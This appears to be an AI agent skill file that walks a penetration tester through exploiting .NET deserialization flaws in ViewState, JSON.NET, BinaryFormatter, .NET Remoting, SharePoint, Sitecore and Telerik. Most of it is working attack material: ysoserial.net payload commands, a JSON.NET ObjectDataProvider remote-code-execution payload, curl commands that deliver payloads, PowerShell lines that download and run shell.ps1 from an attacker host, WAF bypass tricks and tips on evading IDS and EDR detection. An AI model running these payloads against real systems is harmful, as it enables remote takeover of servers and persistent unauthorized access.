deserialization-dotnet

name	deserialization-dotnet
description	Exploit .NET deserialization vulnerabilities during authorized penetration testing.
keywords	[".net deserialization","ysoserial.net","dotnet deserialization","BinaryFormatter exploit","ViewState exploit","ViewState RCE","machine key exploit","JSON.NET deserialization","TypeNameHandling exploit","ObjectDataProvider","TypeConfuseDelegate",".NET Remoting exploit","LosFormatter","SoapFormatter","SharePoint deserialization","Sitecore deserialization"]
tools	["ysoserial.net","blacklist3r","burpsuite"]
opsec	medium

.NET Deserialization

You are helping a penetration tester exploit .NET deserialization vulnerabilities. The target application uses dangerous .NET formatters or exposes ViewState/JSON endpoints that deserialize untrusted data, enabling gadget chain attacks for remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [deserialization-dotnet] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• A .NET deserialization endpoint (ViewState, JSON API, SOAP, .NET Remoting, cookie, WCF)
• Tools: ysoserial.exe (Windows — .NET Framework required), optionally Blacklist3r or BadSecrets (Python) for machine key checks
• Proxy (Burp Suite) for intercepting and modifying serialized data

Step 1: Assess

If not already provided, determine:

1. Serialization format — look for these signatures:

Signature	Format	Where Found
AAEAAAD (base64)	BinaryFormatter	Parameters, cookies, ViewState
/w (base64 prefix)	.NET ViewState	__VIEWSTATE parameter
$type field in JSON	JSON.NET (Newtonsoft)	API request/response bodies
SOAP XML with CLR types	SoapFormatter	.NET Remoting, WCF

2. Entry point type:

   • __VIEWSTATE hidden form field (ASP.NET WebForms)
   • JSON request bodies with $type property
   • Cookies (Forms Authentication, session state)
   • SOAP/WCF service endpoints (.svc, .asmx)
   • .NET Remoting endpoints

3. Formatter in use — determines which gadgets work:

Formatter	Risk	Gadgets
BinaryFormatter	Critical	TypeConfuseDelegate, PSObject, DataSet
LosFormatter	Critical	TypeConfuseDelegate, TextFormattingRunProperties
ObjectStateFormatter	Critical	TypeConfuseDelegate, PSObject
SoapFormatter	Critical	TypeConfuseDelegate, ActivitySurrogateSelector
NetDataContractSerializer	High	TypeConfuseDelegate, ObjectDataProvider
JSON.NET (TypeNameHandling != None)	High	ObjectDataProvider, WindowsIdentity
DataContractSerializer	Medium	ObjectDataProvider (if type controlled)
XmlSerializer	Medium	Limited (requires type control)

Skip if context was already provided.

Step 2: ViewState Attacks

The most common .NET deserialization vector. ASP.NET serializes page state into __VIEWSTATE, signed and optionally encrypted with machine keys.

Check for Known Machine Keys

# Blacklist3r — checks against 3000+ published machine keys
Blacklist3r.exe --viewstate "__VIEWSTATE_VALUE" --generator "__VIEWSTATEGENERATOR_VALUE"

# BadSecrets (Python — cross-platform)
pip install badsecrets
python -m badsecrets --viewstate "__VIEWSTATE_VALUE" --generator "GENERATOR"

Machine key sources:

• Public disclosure (GitHub, deployment guides, Stack Overflow)
• Sitecore deployment guide sample keys (CVE-2025-53690)
• SSRS default keys
• .env or web.config via path traversal
• After initial access: dump from IIS configuration

Generate ViewState Payload

# Basic RCE via LosFormatter + TypeConfuseDelegate
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate \
  -c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  -o base64

# Using TextFormattingRunProperties (alternative gadget)
ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
  -c "cmd /c whoami > c:\inetpub\wwwroot\proof.txt" -o base64

# ViewState plugin (handles signing/encryption with known keys)
ysoserial.exe -p ViewState \
  --validationkey="VALIDATION_KEY_HEX" \
  --decryptionkey="DECRYPTION_KEY_HEX" \
  --generator="__VIEWSTATEGENERATOR" \
  --validationalg="SHA1" \
  --decryptionalg="AES" \
  -c "cmd /c whoami"

Machine Key Format

<!-- web.config -->
<machineKey
  validationKey="64_HEX_CHARS"
  decryptionKey="32_HEX_CHARS"
  validation="SHA1"
  decryption="AES" />

• validationKey: 64 hex chars (256-bit HMAC key)
• decryptionKey: 32 hex chars (128-bit AES key)
• validation: SHA1, MD5, HMACSHA256, HMACSHA384, HMACSHA512
• decryption: AES, 3DES

Send Crafted ViewState

# POST to the target page with crafted __VIEWSTATE
curl -X POST https://TARGET/page.aspx \
  -d "__VIEWSTATE=PAYLOAD_BASE64&__VIEWSTATEGENERATOR=GENERATOR&__EVENTVALIDATION=VALIDATION"

Step 3: JSON.NET Exploitation

When JSON.NET (Newtonsoft.Json) is configured with TypeNameHandling other than None, the $type property controls which .NET type is instantiated.

Detect Vulnerable Configuration

Look for $type in JSON responses — if the application includes type information in responses, it likely deserializes type information from requests too.

ObjectDataProvider RCE

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
  }
}

WindowsIdentity Bridge (JSON.NET → BinaryFormatter)

Enables BinaryFormatter gadgets in JSON.NET context:

# Generate via ysoserial.net
ysoserial.exe -f Json.Net -g WindowsIdentity -c "cmd /c whoami" -o base64

ysoserial.net JSON.NET Commands

# ObjectDataProvider
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw

# WindowsIdentity (bridge to BinaryFormatter chains)
ysoserial.exe -f Json.Net -g WindowsIdentity -c "cmd /c whoami" -o raw

# Output as base64
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "whoami" -o base64

Step 4: BinaryFormatter / SoapFormatter

For endpoints using BinaryFormatter (signature: AAEAAAD in base64) or SoapFormatter (SOAP XML with .NET CLR type names).

# BinaryFormatter with TypeConfuseDelegate
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64

# BinaryFormatter with PSObject (pre-CVE-2017-8565 patch)
ysoserial.exe -f BinaryFormatter -g PSObject -c "calc.exe" -o base64

# BinaryFormatter with DataSet
ysoserial.exe -f BinaryFormatter -g DataSet -c "calc.exe" -o base64

# SoapFormatter
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64

# NetDataContractSerializer
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64

# Send raw binary
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o raw > payload.bin
curl -X POST https://TARGET/endpoint \
  -H "Content-Type: application/x-net-serialized-object" \
  --data-binary @payload.bin

Step 5: .NET Remoting

.NET Remoting endpoints use BinaryFormatter or SoapFormatter for communication. Often found on custom ports (9000-9999).

Detection

# Look for AAEAAAD signatures in responses
curl -s http://TARGET:PORT/ | base64 -d 2>/dev/null | xxd | head

# Check for .NET Remoting error messages
curl -s http://TARGET:PORT/ -H "Content-Type: application/octet-stream"

Exploitation

# If TypeFilterLevel=Full (unrestricted deserialization)
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin
curl -X POST http://TARGET:PORT/endpoint \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin

# SoapFormatter variant
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin
curl -X POST http://TARGET:PORT/endpoint \
  -H "Content-Type: text/xml" --data-binary @payload.bin

WAF Bypass for .NET Remoting

• Change HTTP version from 1.1 to 1.0
• Remove or modify Host header
• Use unusual Content-Type values
• Replace HTTP method with space character

Step 6: Framework-Specific Attacks

SharePoint

# CVE-2025-53770 — deserialization RCE (CVSS 9.8)
# Often chained with auth bypass (CVE-2025-53771 — Referer spoofing)
# Check for exposed WebPart config endpoints

# Generate payload for SharePoint
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  -o base64

Sitecore (CVE-2025-53690)

# ViewState deserialization on /sitecore/blocked.aspx
# Uses sample machine keys from Sitecore deployment guide (2017-2019)
# Check with Blacklist3r/BadSecrets first

python -m badsecrets --viewstate "__VIEWSTATE" --generator "GENERATOR"

Telerik UI (CVE-2019-18935)

# Telerik UI for ASP.NET AJAX deserialization
# POST to Telerik.Web.UI handler endpoints
# Check: /Telerik.Web.UI.DialogHandler.aspx
# Check: /Telerik.Web.UI.SpellCheckHandler.axd

Step 7: Blind Detection

When you can't see direct output from deserialization:

Time-based:

# Payload that causes delay
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c timeout 10" -o base64
# Measure response time — >10s indicates execution

DNS callback:

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c nslookup ID.oastify.com" -o base64
# Monitor Burp Collaborator for DNS callback

File write proof:

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c echo PROOF > c:\inetpub\wwwroot\proof.txt" -o base64
# Then: curl https://TARGET/proof.txt

Step 8: Escalate or Pivot

OPSEC Notes

• ViewState payloads visible in POST data — anomalous size may trigger WAF
• AAEAAAD base64 signatures may be flagged by IDS/WAF rules
• ysoserial.net gadgets contain distinctive .NET class names detectable by EDR
• .NET Remoting exploitation may generate event log entries
• Machine key extraction from compromised servers should be done carefully — keys enable persistent access across all IIS applications

Troubleshooting

ysoserial.net Requires Windows

• ysoserial.net requires .NET Framework (Windows only)
• For cross-platform: generate payloads on a Windows VM/container, transfer base64 output to your attack machine
• Some gadgets available in alternative tools (BadSecrets for ViewState)

ViewState MAC Validation Fails

• Verify machine keys are correct (validationKey + decryptionKey)
• Check validation algorithm (SHA1, HMACSHA256, etc.) matches
• Verify __VIEWSTATEGENERATOR value matches the target page
• Different .NET Framework versions may handle ViewState differently
• Try both encrypted and unencrypted ViewState generation

JSON.NET Payload Rejected

• Verify TypeNameHandling is not None (check response for $type hints)
• Include full assembly-qualified type names with Version/Culture/PublicKeyToken
• Some applications use custom SerializationBinder that whitelists types
• Try WindowsIdentity gadget as bridge when ObjectDataProvider is blocked

Gadget Chain Not Working

• TypeConfuseDelegate: most reliable for BinaryFormatter-based formatters
• ObjectDataProvider: requires WPF (PresentationFramework.dll) on server — may not be present on Server Core installations
• PSObject: requires pre-CVE-2017-8565 patch level
• Try DataSet or TextFormattingRunProperties as alternatives
• Check .NET Framework version — some gadgets require specific versions